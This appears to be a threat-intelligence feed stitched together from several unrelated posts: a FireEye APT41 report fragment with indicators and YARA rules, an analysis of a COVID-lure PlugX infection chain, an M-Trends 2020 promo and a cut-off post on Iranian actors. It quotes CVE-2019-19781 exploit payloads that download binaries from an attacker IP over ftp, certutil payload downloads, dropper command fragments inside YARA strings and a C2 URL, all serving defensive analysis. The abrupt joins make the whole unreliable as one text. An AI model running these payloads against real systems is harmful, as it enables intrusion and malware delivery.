CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’



Cisco Router Exploitation


‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)





install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)



2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)


TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.


Signature Name

Endpoint Security








Network Security








CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping



Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)


PowerShell (T1086), Scripting (T1064)


New Service (T1050)


Privilege Escalation

Exploitation for Privilege Escalation (T1068)


Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)



Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String



                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"


                        $pcre = /loader_[\x00-\x7F]{1,}\x00/


                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule ExportEngine_ShortName



        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"


        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/


        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule ExportEngine_xArch



        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"


             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/


             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule RareEquities_LibTomCrypt



        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."


        $a1 = "LibTomMath"


        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1


rule RareEquities_KCP



        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, Matches on this rule may have built-in KCP transport ability."


        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"


        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)


rule ConventionEngine_Term_Users



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre


rule ConventionEngine_Term_Desktop



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre


rule ConventionEngine_Anomaly_MultiPDB_Double



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2


Is APT27 Abusing COVID-19 To Attack People ?!


We are living hard time, many countries all around the world are hit by COVID-19 which happened to be a very dangerous disease. Unfortunately many deaths, thousands of infected people, few breathing equipment, stock burned Billion of dollars and a lot of companies are entering into a economic and financial crisis. Governments are doing their best to mitigate such a virus while people are stuck home working remotely using their own equipment.

In that scenario, jackals are luring people using every dirty way to attack their private devices. At home it’s hard to have advanced protection systems as we have in companies. For example it’s hard to have Intrusion Prevention Systems, proxies, advanced threat protection, automated sandbox and again advanced end-point protections letting personal devices more vulnerable to be attacked. In this reality ruthless attackers abuse of this situation to attack digitally unprotected people.

Today many reports are describing how infamous attackers are abusing such an emergency time to lure people by sending thematic email campaign or by using thematic IM within Malware or Phishing links. Following few of them that I believe would be a nice reading:

Today I want to contribute to such a blog-roll analyzing a new spreading variant that hit my observatory. I want to “spoil” the conclusions now, but it’s getting pretty sad if an APT group makes use of its knowledge to take advance from today’s situation.

Stage 1

The first stage is a fake PDF file. It looks like a real PDF, it has a hidden extension and a nice PDF icon, but it really isn’t a PDF, it’s actually a .lnk file, or in other words a “Microsoft Linking File”.

ThreatDropper and Execution
DescriptionFake PDF file used to run initial infection chain

Opening up the .lnk file we might appreciate a weird linking pattern. Two main sections: one is a kind of header where it is possible to observe commands, and the other section is a big encoded payload.

.lnk file

Once beautified the first section it looks easier to understand what it does. It basically copies itself into a temporary folder (through cmd.exe), it extracts bytes from its body (from section two), it decodes such a bytes from Byte64 (through msoia.exe ) and it places the extracted content into the temporary user folder. It deflates the content (through expand) and it finally it executes a javascript file (through wscript) which was included into the compressed content. The following image shows the beautified code section of the analyzed file.

Beautified .lnk file

It is quite nice to see how the attacker copied certutils from local system, by using (*ertu*.exe) in order to avoid command line detection from public sandboxes. Indeed many sandboxes have signatures on certutils, since it’s quite a notorious tool used by some attackers, so that avoiding the behavior signature match it would take a lower score from public sandboxes.

Stage 2

Stage 1 carved Stage 2 from its body by extracting bytes and decoding them using base64 encoding. The new stage is a Microsoft compressed CAB file described in the following table.

ThreatMalware Carrier/Packer/Compressor
DescriptionMicrosoft CAB bringing contents

Extracting files from Microsoft CAB we observe 6 more files entering in the battlefield:

  • 20200308-sitrep-48-covid-19.pdf. The original PDF from WHO explaining the COVID-19 status and how to fight it.
  • 3UDBUTNY7YstRc.tmp. PE32 Executable file (DLL)
  • 486AULMsOPmf6W.tmp. PE32 Executable (GUI)
  • 9sOXN6Ltf0afe7.js. Javascript file (called by .lnk)
  • cSi1r0uywDNvDu.tmp. XSL StyleSheet Document
  • MiZl5xsDRylf0W.tmp. Text file including PE32 file

Stage 1 executes the Javascript included in the CAB file. 9sOXN6Ltf0afe7.js performs an ActiveXObject call to WScript.Shell in order to execute Windows command lists. Once” deobfuscated” and beautified the command line looks like the following (9sOXN6Ltf0afe7.js payload beautified) . The attacker creates a folder that looks like a “file” by calling it cscript.exe trying to cheat the analyst. Then the attacker populates that folder with the needed files to follow the infection chain.

9sOXN6Ltf0afe7.js payload “deobfuscated”

A special thought goes to WINRM.VBS which helped the attacker to execute Signed Script Proxy Execution (T1216). According to Microsoft: “WINRM is the CLI interface to our WS-MGMT protocol. The neat thing about this is that you can call it from PowerShell to manage remote systems that don’t have PowerShell installed on them (including Server Core systems and Raw hardware).” The attacker also places a file called Wordcnvpxy.exe on the OFFICE12 folder. We will analyze it in a few steps but at that stage we might observe that is the “last call” before luring the victim by showing the good PDF file (also included in the CAB). But according with 9sOXN6Ltf0afe7.js the first run is on WsmPty.xsl which is the renamed version of cSi1r0uywDNvDu.tmp.

Stage 3

Stage 3 is run by stage 2 and it is a XSL (StleSheet Office file) wrapping a VBScript object.

ThreatPayload Extractor and Command Executor
DescriptionDecode Additional Stage by using coding charsets and XOR

The following VBScript is run through cscript.exe, It’s an obfuscated and xor-encrypted payload. The encryption is performed by a simple xor having as key the single byte 0 while the encoding procedure is a multi conversion routine which could be summarized as follows:


VBScript Stage3

The attacker tried to confuse the analyst by reusing variable names in private or local contexts, but after a couple of minutes, you might eventually come out with the following decryption loop.

Decryption Loop

If you run it against the embedded payload you will eventually see a new stage: Stage 4. A brand new script targeting old version of MSOffice.

Stage 4

Stage 4 is decoded and run by Stage 3. That stage runs an attacker version of MSOSTYLE.exe copied from Stage 2. It hijacks method on an old office 2007 component (Office Data Provider for – MSOSTYLE.exe).

ThreatPersistence and Execution
DescriptionSet persistence on the target system (Script File)

The following image shows the decrypted and decoded Stage. It’s quite clear the attacker wants to get persistence on the target machine and to run additional payload by abusing MSOSTYLE.exe (old component) placed in the “right folder” from stage 2. The persistence is guaranteed by adding a link called Accessories.lnk inside the startup windows folder pointing to: MiZl5xsDRylf0W.tmp.

Powershell Stage 4

Stage 5

Stage 5 is activated by Stage 2 but only after the execution of Stage 3 and Stage 4. Stage 5 is a multi-step session composed by the following additional artifacts: (i) 3UDBUTNY7YstRc.tmp renamed by Stage 2 into OINFO12.OCX and (ii) MiZl5xsDRylf0W.tmp renamed by Stage 2 into Wordcnvpxy.exe . Every single artifact is available after the execution of Stage 2 into the crafted folder called: OFFICE12 from the user home.

ThreatRemote Control, depending on usage
DescriptionOffice Data Provider for WBEM, not malicious but accountable.

MSOSTYLE.EXE is an old Microsoft Office Data Provider for WBEM. Web-Based Enterprise Management (WBEM) comprises a set of systems-management technologies developed to unify the management of distributed computing environments. So it could not be considered malicious, but it could be considered accountable of the entire infection chain.

ThreatPlugX, Command Execution
DescriptionA runner plus Command Execution, Pluging Manager

At the time of writing only three AVs detect OINFO12.OCX as a malicious file. Rising AV is actually the only company which attributes it to a well-known PlugX sample. According with Trend Micro, the PlugX malware family is well known to researchers having samples dating back to as early as 2008. PlugX is a fully featured Remote Access Tool/Trojan (RAT) with capabilities such as file upload, download, and modification, keystroke logging, webcam control, and access to a remote cmd.exe shell.

OINFO12.OCX VT coverage

Taking it on static analysis it will expose three callable functions: DeleteOfficeData (0x10001020), GetOfficeData (0x10001000) and EntryPoint 0x100015ac).

Both of the methods DeleteOfficeData and GetOfficeData looks like recalling a classic method to hijacking old Office Parser (take a look to here and figure 3 in here ) to execute commands.

DeleteOfficeData (0x10001020)
GetOfficeData (0x10001000)

Indeed if run from its Entry Point, the DLL executes Wordcnvpxy.exe (as it is the default plugin component). The executable DLL must be in the same path of Wordcnvpxy.exe and it needs to have such a filename (imposed by Stage 2 and hardcoded into the library). On the other side of the coin if commands are passed through stdin, it executes the given parameters as commands.

No Input Commands, Wordcnvpxy execution

The following image shows when parameters are given and Commands are executed.

Commands Execution

Finally we have Wordcnvpxy.exe which is run in the same stage (Stage 5) by OINFO12.OCX . At the time of writing, it is well-known from static engines, it looks like a standard backdoor beacon-ing to own command and control installed as PlugX module.

ThreatPlugX, Backdoor
DescriptionProbably one of the last stages, beaconing VS C2 and executing external commands
Wordcnvpxy VT coverage

The sample uses dynamic function loading avoiding static enumeration and guessing. It grabs information on the victim, PC-name, username, IP-location and send them to C2 as a first beacon.

Dynamic Loading function calls

The used Command and Control resolves to the following URL hxxp://motivation[.]neighboring[.]site/01/index.php

Command and Control

Unfortunately the attacker has shut down everything few hours after I started my analysis, so that I do not have more information about network, commands and additional Plugins. However the overall structure reminds me PlugX RAT as nicely described here.


According to MITRE (BTW thank you @Arkbird_SOLG for the great suggestions on attribution) PlugX is a well known RAT attributed to China’s APT. APT27 (aka Emissary Panda) are the mostly notable APT group that used it. Moreover (thanks to @Arkbird_SOLG) “[…] on China culture, hijacking method are a mandatory knowledge for a job like pentesting […]” which could enforce the theory of APT27

UPDATE: I am aware that PlugX is today an opensource RAT, and I am aware that this is not enough for attribution. Indeed the intent of the title is to put doubts on that attribution by the usage of “?” (question mark). On one hand PlugX historically has been attributed to APT27 but on the other hand it’s public. So it’s hard to say Yes or Not, for such a reason the intent of this blog post is: Is APT27 Abusing COVID-19 To Attack People ?!. It’s an Open question not a position.

We all are passing a bad time. COVID-19 caused many death and is threatening entire economies. Please, even if you are an attacker and you gain profit from you infamous job, stop cyber attacks against peoples that are suffering this pandemic and rest. Ethics and compassion should be alive – even behind you monitors.


  • 95489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8 (original .lnk)
  • f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9 (Stage 2)
  • 9d52d8f10673518cb9f19153ddbe362acc7ca885974a217a52d1ee8257f22cfc (Stage 3)
  • 7f230a023a399b39fa1994c3eaa0027d6105769fffaf72918adebf584edc6fe0 (Stage 4)
  • a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e (Stage 5/a)
  • 002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124 (Stage 5/b)
  • hxxp://motivation[.]neighboring[.]site/01/index.php (C2)

Yara (auto)

import "pe"

rule MiZl5xsDRylf0W {
      description = "yara - file MiZl5xsDRylf0W.tmp"
      date = "2020-03-17"
      hash1 = "b578a237587054f351f71bd41bede49197f77a1409176f839ebde105f3aee44c"
      $s1 = "%ls\\%S.exe" fullword wide
      $s2 = "%XFTpX7m5ZvRCkEg" fullword ascii
      $s3 = "SK_Parasite, Version 1.0" fullword wide
      $s6 = "SKPARASITE" fullword wide
      $s7 = "default" fullword ascii /* Goodware String - occured 709 times */
      $s8 = "59xf4qy-YXn-pkuXh=x3CXPHCcs3dXFlCtr3Cc4H4XufdZjmAZe3Ccxuibvm592g" fullword ascii
      $s9 = "SK_Parasite" fullword wide
      $s10 = "KOeS5OEThZjnYazMJ7p3Ccx-ptAMKuUMLlPEID2=Kn4XLqTM4WhSAKAHAbRMxXsa5Xj-AazEAqzEAqgg" fullword ascii
      $s11 = "ZXsDCcsTA80HdkET" fullword ascii
      $s12 = "8c9h9q9" fullword ascii /* Goodware String - occured 1 times */
      $s13 = "<&<,<6<<<F<O<Z<_<h<r<}<" fullword ascii /* Goodware String - occured 1 times */
      $s14 = "5$5@5\\5`5" fullword ascii /* Goodware String - occured 1 times */
      $s15 = "About SK_Parasite" fullword wide
      $s16 = "1/2A2o2" fullword ascii /* Goodware String - occured 1 times */
      $s17 = "z2bqw7k90rJYALIQUxZK%sO=hd5C4piVMFlaRucWy31GTNH-mED8fnXtPvSojeB6g" fullword ascii
      $s18 = "PQQQQQQWQf" fullword ascii
      $s19 = "Copyright (C) 2020" fullword wide
      $s20 = "1)1p1z1" fullword ascii /* Goodware String - occured 1 times */
      uint16(0) == 0x0300 and filesize < 200KB and
      8 of them

rule sig_9sOXN6Ltf0afe7 {
      description = "yara - file 9sOXN6Ltf0afe7.js"
      date = "2020-03-17"
      hash1 = "70b8397f87e4a0d235d41b00a980a8be9743691318d30293f7aa6044284ffc9c"
      $x1 = "var e7926b8de13327f8e703624e = new ActiveXObject(\"WScript.Shell\");e7926b8de13327f8e703624e.Run (\"cmd /c mkdir %tmp%\\\\cscrip" ascii
      $x2 = "&for /r C:\\\\Windows\\\\System32\\\\ %m in (cscr*.exe) do copy %m %tmp%\\\\cscript.exe\\\\msproof.exe /y&move /Y %tmp%\\\\cSi1r" ascii
      $x3 = "ss?Handle=4 -format:pretty&del \\\"%userprofile%\\\\OFFICE12\\\\Wordcnvpxy.exe\\\" /f /q&ping -n 1 /Y %tmp%\\\\48" ascii
      $x4 = "var e7926b8de13327f8e703624e = new ActiveXObject(\"WScript.Shell\");e7926b8de13327f8e703624e.Run (\"cmd /c mkdir %tmp%\\\\cscrip" ascii
      $x5 = "p %tmp%\\\\cscript.exe\\\\WsmPty.xsl&%tmp%\\\\cscript.exe\\\\msproof.exe //nologo %windir%\\\\System32\\\\winrm.vbs get wmicimv2" ascii
      $s6 = "/b %tmp%\\\\2m7EBxdH3wHwBO.tmp+%tmp%\\\\MiZl5xsDRylf0W.tmp \\\"%userprofile%\\\\OFFICE12\\\\Wordcnvpxy.exe\\\" /Y&\\\"%tmp%\\\\2" ascii
      $s7 = "6W.tmp \\\"%userprofile%\\\\OFFICE12\\\\MSOSTYLE.EXE\\\"&move /Y %tmp%\\\\3UDBUTNY7YstRc.tmp \\\"%userprofile%\\\\OFFICE12\\\\OI" ascii
      $s8 = "48-covid-19.pdf\\\"\",0);" fullword ascii
      $s9 = "e7926b8de13327f8e703624e" ascii
      uint16(0) == 0x6176 and filesize < 2KB and
      1 of ($x*) and all of them

rule sig_3UDBUTNY7YstRc {
      description = "yara - file 3UDBUTNY7YstRc.tmp"
      date = "2020-03-17"
      hash1 = "a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e"
      $x1 = "cmd /c notepad.exe" fullword ascii
      $x2 = "dllexec.dll" fullword ascii
      $s3 = "cmd /c calc.exe" fullword ascii
      $s4 = "Wordcnvpxy.exe" fullword ascii
      $s5 = "GetOfficeData" fullword ascii
      $s6 = "273<3]3b3" fullword ascii /* Goodware String - occured 1 times */
      $s7 = "2>2K2W2_2g2s2" fullword ascii /* Goodware String - occured 1 times */
      $s8 = "uTVWhY#" fullword ascii
      $s9 = "DeleteOfficeData" fullword ascii
      $s10 = "9#:=:N:" fullword ascii /* Goodware String - occured 1 times */
      $s11 = "URPQQhpB" fullword ascii
      $s12 = "6#6*626:6B6N6W6\\6b6l6u6" fullword ascii /* Goodware String - occured 2 times */
      $s13 = "0#0-030I0N0V0\\0c0i0p0v0~0" fullword ascii
      $s14 = "4.464<4F4L4V4\\4f4o4z4" fullword ascii
      $s15 = "<$=1=;=I=R=\\=" fullword ascii
      $s16 = ">->3>9>O>g>" fullword ascii
      $s17 = "5r5L6T6l6" fullword ascii
      $s18 = "1#1*191>1D1M1m1s1" fullword ascii
      $s19 = ":%:K:Q:{:" fullword ascii
      $s20 = "5(5L5X5\\5`5d5h5" fullword ascii /* Goodware String - occured 4 times */
      uint16(0) == 0x5a4d and filesize < 100KB and
      ( pe.imphash() == "abba83cce6a959dc431917a65c5fe7ca" and ( pe.exports("DeleteOfficeData") and pe.exports("GetOfficeData") ) or ( 1 of ($x*) or 4 of them ) )

rule sig_20200308_sitrep_48_covid_19________pdf {
      description = "yara - file 20200308-sitrep-48-covid-19.pdf.lnk"
      date = "2020-03-17"
      hash1 = "d54d85e3044a05bdafee9f30f7604ee584db91944a5149cc9e0f65f381d85492"
      $s2 = "jS61LWA3O0LZjbyOyM+Th5BHkL/6NtKERZApZAvWg3QiB7HuGbdfdfIMVwXLDLL9nVOdKplM1TlFlO5ESifhf5tgzpqP9DZt2dfrfTPS/+ZIBLzWJ99g9xXWv91bOiOD" ascii
      $s3 = "wXEkU5x/pIsmFrJtNHbdwG+bszpTRFThzR7p/shOst0DW0ZFKeRdhc/kM7yZKiZM0LkwrconqjQ3wYPZ7MTqq6M91IEWmt0TYiRCrUlVHk0W63x4OVNkZBjH3umhhGbW" ascii
      $s4 = "pUnp5YF5MVzpQVVZGZ3vjyftPMSfwPbgfq+oOoRAAyP6ZnheN9Or9fx8glHHDnXKm8PTjPiuhWhq74VNkEWr+gACxYi/wwj+yrQNyWULOGigcjQQ6ze7Zgp48Bny4X8v" ascii
      $s5 = "1WxCb+ZUBMNpgdQ9VM6Pbm/a3lOho1gNxYjJoenk4InBUmvbgaGreBVEPcshY3J0VUdR35An5FULDqPNKxb5raGeTLpm5548XATYLogWT8E22FhAi+V4d0q3ck1gZSqw" ascii
      $s6 = "GEeEP7OJ3H9kNW2EPOUbKglcK2+vp//RmYt0D/CDulYi6iBikEye9CzxoMuCHgaF8hfJC8DaiQG6B/+lrCggdq54tM4fP9SAqhqBWxW1YVMoKHKrLKhWRlMhlYtoUDbV" ascii
      $s7 = "H/sC8wh3rLxj+gB3VC89yuytzdbGEK3P9U2mmfZGvCPYQlBQgXUXRc8UuNfknuIxjz3CsTDq0QPYPvLj9sHAaK6EoZ3tzZGNYDZBV1szVLoGm4wtS68/jiqvVtmPtKB6" ascii
      $s8 = "fauCRyQIlXVt+r5GYoBBBlfOQqImEkWo6+WlQTSwYS6smIFGhlOgf7AQ4ovS1utu5CdOQaEjc8UwcEx752927tdeRp8xVz4LlZVh/2KEKumMtVfbk1vucomNeqcRsJi6" ascii
      $s9 = "yd2OnvWZvuUQw3aLFzorH9uYxOItXtCmdMmUJP9GKGsdR2VRmYbpkfJ9I5JlbjB2nR28vsrlyOLvHeftPpJaqAb2+eY3ks7r6ewL6JeeS12Gw+8/OrnmTiIrWapEgObL" ascii
      $s10 = "RhSzuRlKjfLOgyDj4lOfKOsiZNdxLSHCfbS/kEYl0BslYnQ7YtwYOHZlbWNtSdEUhvb4kKsY/+AobmfLilpGotYo3vEBKu8hhbFE1Jrc+GYGxDRue6300wqLbdIKezBr" ascii
      $s11 = "cFHaggy5a+rMrMKC4rKmWdNudM/QWEwp2clOa3lRns1Y4qmtaE5STCmdnj+hITcnvc5eyekbDY568+RUHAxtOr8y3S/vmt9OfY7y/dLNNNLQofyTgt4T7G3abUZ1bNG1" ascii
      $s12 = "VjEg4DubcQ2BtwOwevQAyxdM/FzIuPehNRKJnyLk8q2jPd+UucexECuRJKkRJ0NnnGBEv7sjLuODcKIJHEX8JgyVAcq/DoPewYcsHY8Rh9NeC2fnR6OLLctWM2n53KUn" ascii
      $s13 = "nS8AHUkUzud+yCzW6SCpcW1LiQEWsA8B0zucbgdLVskYWhOLinfePmJ6k6CUgOpcd8fVzMTGRbjV6YyhJjWxlOGgyp7v+q5MGCVbXGwpGM/1xk73XpXhTTPABA+Atm1v" ascii
      $s14 = "KeyEC9M1uHqOE/KCRd902gmpYSK9Ep1sCtzpOqSfNfLHLGoTxu3zjMaEjJ8Dw4/VNYHZo4t5c2CPkSZskDGEYG9rz8HeDf4+Hd3t7y/CyEFD89WV2zsspTFMHnSiyp3t" ascii
      $s15 = "CcCdVZZhyydWDx5BFEKNrLqFB/YFtIaCbuk52NxcwOWQ4muYqVQDbXvcIi/mrR2bXPO1koVLNJbK28cDGFSGXFGg9YXl+YxZkEYe14fqauAf3E/rZcpNs5kCKmv5y5W4" ascii
      $s16 = "cnhkpPaBto41NCLi/eWl360SSHxRUUZsmZ2dnY3wlvb2T+Nu2mRSpYtAlikPNxFZa8nOIodAkeyEVi1SsSRQngbhvRq5LpJOPh4ldQ1N+56agooQr+W0oFa2KXNsEetV" ascii
      $s17 = "FIwtpdre2Wmnc21tda09FKpZefVL43grfymCTd5K56sLOgontwiwYn1nYgVnGJPP/LVQ4JKa1rFFA3Y0HSBBKwuTrFmOAdIJwhoTUrZzBokdMSD931UQuVHTXaMnRz10" ascii
      $s18 = "VGO9VokrQADVECqvw3oyurkmSN5/sSpYnNf7Wi/ECAUmGg/S5qDAyFTPbyfhqOI58HyFRC846KnQDdn72pSAno4kdaeMLOelzq3b6bXV5l2VPj4wQfNl0GZCuJMn7LTR" ascii
      $s19 = "TXxf/IllO3bWzFUJaAMLlRUnogcNa2x0VENzHR6cEaOx79lHSoQxYVHwSUfmEjZoZ2pROh7H1UCMdmJR/3wD2YF9x4MoF5dJQiiAhb4NH9781LGhwW6JqODySrvw3EGT" ascii
      $s20 = "lTvLNEAvdSOFqYwbinqsSVNmUDf6zYKeYafaDjqm8gebMsHURHBynktlSzDsefxSefP1Q1h15TkkR3m/j6/umso0tMFngezzB4SUvUoqb1BMzfPSHU+4EpvSvStNQjKe" ascii
      uint16(0) == 0x5654 and filesize < 3000KB and
      1 of ($x*) and 4 of them

rule sig_486AULMsOPmf6W {
      description = "yara - file 486AULMsOPmf6W.tmp"
      date = "2020-03-17"
      hash1 = "604679789c46a01aa320eb1390da98b92721b7144e57ef63853c3c8f6d7ea85d"
      $x1 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><assemblyIdentity version=\"\" processorArch" ascii
      $s2 = "emblyIdentity type=\"win32\" name=\"Microsoft.VC80.CRT\" version=\"8.0.50608.0\" processorArchitecture=\"x86\" publicKeyToken=\"" ascii
      $s3 = "0Mscoree.dll" fullword ascii
      $s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><assemblyIdentity version=\"\" processorArch" ascii
      $s5 = "t:\\misc\\x86\\ship\\0\\oinfop12.pdb" fullword ascii
      $s6 = "_tWinMain (Ship) commandline='%s'" fullword ascii
      $s7 = "PrintPostScriptOverText" fullword wide
      $s8 = "InstallLang" fullword wide /* base64 encoded string '"{-jYKjx' */
      $s9 = "re=\"X86\" name=\"OINFOP12.EXE\" type=\"win32\"></assemblyIdentity><description>OInfo</description><dependency><dependentAssembl" ascii
      $s10 = "SetOfficeProperties -- PublisherPageSetupType" fullword ascii
      $s11 = "\\ship\\0\\oinfop12.exe\\bbtopt\\oinfop12O.pdb" fullword ascii
      $s12 = "GetOffice type for '%S'" fullword ascii
      $s13 = "TemplateCount" fullword wide
      $s14 = "Win32_Word12Template" fullword wide
      $s15 = "'OInfoP12.EXE'" fullword ascii
      $s16 = "Queued_EventDescription= " fullword wide
      $s17 = "COfficeObj::Initialize, user='%S', namespace='%S'" fullword ascii
      $s18 = "TabIndentKey" fullword wide
      $s19 = "Win32_WebConnectionErrorMessage" fullword wide
      $s20 = "OInfo12.OCX" fullword wide
      uint16(0) == 0x5a4d and filesize < 300KB and
      ( pe.imphash() == "3765c96e932e41e0de2bd2ed71ef99ad" or ( 1 of ($x*) or 4 of them ) )

M-Trends 2020: Insights From the Front Lines

Today we release M-Trends 2020, the 11th edition of our popular annual FireEye Mandiant report. This latest M-Trends contains all of the statistics, trends, case studies and hardening recommendations that readers have come to expect through the years—and more.

One of the most exciting takeaways from this year’s report: the global median dwell time is now 56 days. That means the average attacker is going undetected on a network for under two months—an M-Trends first. This is a very promising statistic that demonstrates how far we’ve come since 2011 when the global median dwell time was 416 days. And yet, we know a sophisticated attacker needs only a few days to gain access to the crown jewels, so there is still plenty of room for improvement.

Another interesting statistic in the report is what we refer to as "detection by source." For the first time since 2015, the majority of organizations are being notified of compromises by external sources (53 percent) over internal teams (47 percent). This is more likely due to factors such as increases in law enforcement notifications and compliance changes, and less likely due to internal teams having lost a step.

There’s a whole lot more to look forward to in M-Trends 2020, including:

  • By the Numbers: Global median dwell time and detection by source are just the tip of the iceberg—we share a number of other statistics related to targeted industries, malware, threat techniques and more.
  • Newly Named APT Groups: Learn all about APT41, group responsible for carrying out Chinese state-sponsored espionage and financially motivated activity since as far back as 2012.
  • Trends: We take a deep dive into the latest trends involving malware families, monetizing ransomware, crimeware as a service, and malicious insiders.
  • Case Studies: With so many organizations moving to the cloud, we take a look at a breach involving cloud assets. We also take readers through a campaign where attackers were targeting gift cards.

While M-Trends 2020 contains plenty of new information, the goal of M-Trends has remained the same since the beginning: to arm security professionals with details on the latest attacks and threats we are seeing during our engagements.

Download the 11th edition of M-Trends today.

Iranian Threat Actors: Preliminary Analysis

Nowadays Iran’s Cybersecurity capabilities are under microscope, many news sites, gov. agencies and security experts warn about a possible cybersecurity infiltration from Iranian government and alert to increase cybersecurity defensive levels. Today I want to share a quick and short study based on cross correlation between MITRE ATT&CK and Malpedia about some of the main threat actors attributed to Iran. The Following sections describe the TTPs (Tactics, Techniques and Procedures) used by some of the most influential Iranian APT groups. Each section comes with a main graph which is built by scripting and which comes without legend, so please keep in mind while reading that: the red circles represent the analyzed threat actors, the green circles represent threat actor’s used techniques, the blue circles represent the threat actor’s used Malware and the black circles represent the threat actor’s used tool sets.


